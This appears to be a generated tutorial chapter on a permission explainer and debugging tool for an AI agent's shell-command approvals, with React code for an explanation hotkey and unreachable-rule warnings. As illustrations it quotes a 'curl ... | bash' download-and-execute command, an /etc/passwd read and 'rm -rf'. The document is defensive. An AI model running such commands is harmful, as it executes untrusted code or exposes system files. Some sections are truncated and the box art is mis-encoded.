In the previous chapter, Shell Command Governance, we implemented safety checks for dangerous terminal commands. We learned how to warn the user when the AI tries to run rm -rf.
However, safety isn't just about blocking bad things; it's about understanding what is happening. Sometimes a command looks safe but does something unexpected. Other times, you thought you created a rule to allow a command, but the system keeps asking you for permission anyway.
This brings us to Permission Explainer & Debugging.
Imagine you are trying to sign a complex business contract written in a language you only essentially know.
You have two problems:
In our project:
Use Case 1: The Confused User
The AI asks to run: awk -F: '{ print $1 }' /etc/passwd | head -n 5.
Most users know this is a command, but is it dangerous? Is it stealing passwords? A simple "Allow/Reject" prompt isn't enough information to make an informed decision.
Use Case 2: The Frustrated Automator
A user creates a rule: "Always allow npm test".
The AI runs npm run test. The system blocks it and asks for permission.
The user gets angry: "I told you to allow this!"
Without debugging tools, the user won't realize that npm test and npm run test are technically different strings.
The Scenario:
The AI wants to run a complex curl command to download a script.
The Solution:
Ctrl+E (Explain).This component takes the raw technical input (the shell command or file patch) and sends it to a "fast" LLM. It asks the LLM to summarize the intent and risk in one sentence.
AI explanations cost money (tokens) and time. We don't want to generate an explanation for every single ls command. We use a Lazy Loading pattern: the explanation is only fetched when the user specifically asks for it.
This is a purely logical component. It looks at the Tool Permission Context (the database of existing rules) and compares it to the Current Request. It calculates:
The explainer is integrated directly into the PermissionDialog. It uses a hook called usePermissionExplainerUI.
This hook handles the user interaction. It waits for a keypress (Ctrl+E) before doing any work.
// PermissionExplanation.tsx
export function usePermissionExplainerUI(props) {
const [visible, setVisible] = useState(false);
const [promise, setPromise] = useState(null);
// Define the hotkey 'Ctrl+E'
useKeybinding('confirm:toggleExplanation', () => {
if (!visible && !promise) {
// Only fetch the AI explanation the FIRST time it is opened
setPromise(createExplanationPromise(props));
}
// Toggle the UI on/off
setVisible(v => !v);
});
return { visible, promise };
}
The UI component (PermissionExplainerContent) uses React Suspense. This allows us to show a nice "Shimmer" animation while the AI is thinking, without blocking the rest of the UI.
// PermissionExplanation.tsx
export function PermissionExplainerContent({ visible, promise }) {
if (!visible) return null;
return (
<Suspense fallback={<ShimmerLoadingText />}>
{/* This component will wait for the promise to resolve */}
<ExplanationResult promise={promise} />
</Suspense>
);
}
The debugger helps users understand the system's decision-making process. It is usually displayed at the bottom of the request.
It primarily answers: "Why are you asking me this?"
This component (PermissionDecisionDebugInfo) takes the result of the permission check and renders the reasoning.
// PermissionDecisionDebugInfo.tsx
export function PermissionDecisionDebugInfo({ permissionResult }) {
const { decisionReason } = permissionResult;
return (
<Box flexDirection="column">
{/* 1. Show the reason (e.g., "No rule found") */}
<Text dimColor>Reason</Text>
<PermissionDecisionInfoItem decisionReason={decisionReason} />
{/* 2. Show unreachable rules (Debugging logic) */}
<UnreachableRulesWarning />
</Box>
);
}
One of the coolest features here is detecting Unreachable Rules.
If the user has a rule Always Allow npm *, but a previous rule says Block npm install, the "Allow" rule might never be reached. The debugger detects this logic error and warns the user.
// Logic Concept (Simplified)
const unreachableRules = allRules.filter(rule => {
// If a rule exists in the DB but was NOT used for this decision
// even though it matches the text, it might be shadowed.
return rule.matches(input) && !rule.wasUsed;
});
if (unreachableRules.length > 0) {
print("Warning: You have rules that are being ignored!");
}
Let's trace the flow of a user asking for an explanation.
Let's look at PermissionDecisionDebugInfo.tsx to see how it renders the decision reason. This helps developers and users verify exactly what happened.
// PermissionDecisionDebugInfo.tsx (Simplified)
function decisionReasonDisplayString(reason) {
switch (reason.type) {
case 'rule':
// A specific rule triggered this
return `Matched rule from ${reason.source}`;
case 'mode':
// The global security mode triggered this
return `${reason.mode} mode requires approval`;
case 'safetyCheck':
// The "Shell Governance" system flagged it
return `Flagged by safety check: ${reason.reason}`;
default:
return reason.type;
}
}
This simple switch statement converts internal logic states (like safetyCheck) into human-readable text (Flagged by safety check).
When everything comes together, the terminal UI looks like this:
โญโ Bash Command โโโโโโโโโโโโโโโโโโโโโโโโโฎ
โ โ
โ curl -sL http://unknown.com | bash โ
โ โ
โ [ Explanation ] โ
โ High Risk: This command downloads โ
โ and executes code from the web. โ
โ โ
โ [ Debug Info ] โ
โ Reason: Flagged by safety check โ
โ โ
โ > Reject โ
โ Allow โ
โ โ
โฐโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฏ
The Permission Explainer & Debugging tools transform our system from a simple gatekeeper into an intelligent assistant.
Now that users can create rules, understand commands, and debug decisions, we have one final piece of the puzzle. Where do these rules actually live? If I restart the computer, do I lose my "Always Allow" settings?
In the final chapter, we will explore the Rule Persistence Manager, which handles saving and loading these decisions to disk.
Next Chapter: Rule Persistence Manager
Generated by Code IQ